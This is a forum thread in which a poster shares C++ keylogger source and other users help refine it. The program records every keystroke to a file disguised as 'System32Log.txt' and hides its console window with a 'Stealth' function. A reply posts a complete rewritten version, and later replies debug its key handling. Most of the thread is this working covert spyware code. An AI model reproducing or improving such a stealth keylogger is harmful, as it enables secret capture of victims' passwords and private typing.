I've been tryin to make a keylogger to see how C++ handles keystrokes and sends them.
I've found some code online and modified it a bit but, this has limitations and isn't accurate enough (+ missing characters from non english keyboards).

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>   

using namespace std;  
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
    Stealth(); 
char i;
while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
            Save (i,"System32Log.txt");
    }
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
    return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

    if (key_stroke == 8)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
    else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n"); 
    else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)              
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
            else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
            else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
                else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
                else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                    else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
                    else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                        else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                        else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
                        else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

After researching the best way would be to use SetWdinowsHookEx function (http://msdn.microsoft.com/en-us/library/ms644990%28VS.85%29.aspx) , but sadly I have no idea how to make it work.

Recommended Answers

All 7 Replies

Can I suggest that you should use a switch-case statement as well?

switch(key_stroke)
{
    case 13:
        //Add key to the log.
    break;

    case VK_TAB:
        //Add key to the log.
    break;

    case VK_SHIFT:
        //Add key to the log.
    break;

    //etc...

    default:
        //Unknown Key was pressed..
    break;
}

^Could u write the full code then please?

I did? :S

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>   

using namespace std;  
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
    Stealth(); 
    char i;
    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
                Save (i,"System32Log.txt");
        }
    }
    system ("PAUSE");
    return 0;
}

int Save (int key_stroke, char *file)
{
    if ((key_stroke == 1) || (key_stroke == 2))
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    switch (key_stroke)
    {
        case 8:          fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  break;
        case 13:         fprintf(OUTPUT_FILE, "%s", "\n");           break;
        case 32:         fprintf(OUTPUT_FILE, "%s", " ");            break;
        case VK_TAB:     fprintf(OUTPUT_FILE, "%s", "[TAB]");        break;
        case VK_SHIFT:   fprintf(OUTPUT_FILE, "%s", "[SHIFT]");      break;
        case VK_CONTROL: fprintf(OUTPUT_FILE, "%s", "[CONTROL]");    break;
        case VK_ESCAPE:  fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");     break;
        case VK_END:     fprintf(OUTPUT_FILE, "%s", "[END]");        break;
        case VK_HOME:    fprintf(OUTPUT_FILE, "%s", "[HOME]");       break;
        case VK_LEFT:    fprintf(OUTPUT_FILE, "%s", "[LEFT]");       break;
        case VK_UP:      fprintf(OUTPUT_FILE, "%s", "[UP]");         break;
        case VK_RIGHT:   fprintf(OUTPUT_FILE, "%s", "[RIGHT]");      break;
        case VK_DOWN:    fprintf(OUTPUT_FILE, "%s", "[DOWN]");       break;

        case 190:
        case 110:        fprintf(OUTPUT_FILE, "%s", ".");            break;

        default:         fprintf(OUTPUT_FILE, "%s", &key_stroke);    break;
    }

    fclose (OUTPUT_FILE);
    return 0;
}

void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
}

Okay I've tried that code, it's better, but i have a few things that haven't been really worked out:
What's that empty "case 190:"?
For example if you use the combination for @ (ctrl + alt +v) the output is a small boxy character next to the v, which is weird?

The case 190 is key code VK_OEM_PERIOD and case 110 is VK_DECIMAL. Thus, they're the same.

For example if you use the combination for @ (ctrl + alt +v) the output is a small boxy character next to the v, which is weird?

It's probably because your key inputs are not being caught in the switch case statements but are falling thru to the default:

default:         fprintf(OUTPUT_FILE, "%s", &key_stroke);    break;
Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.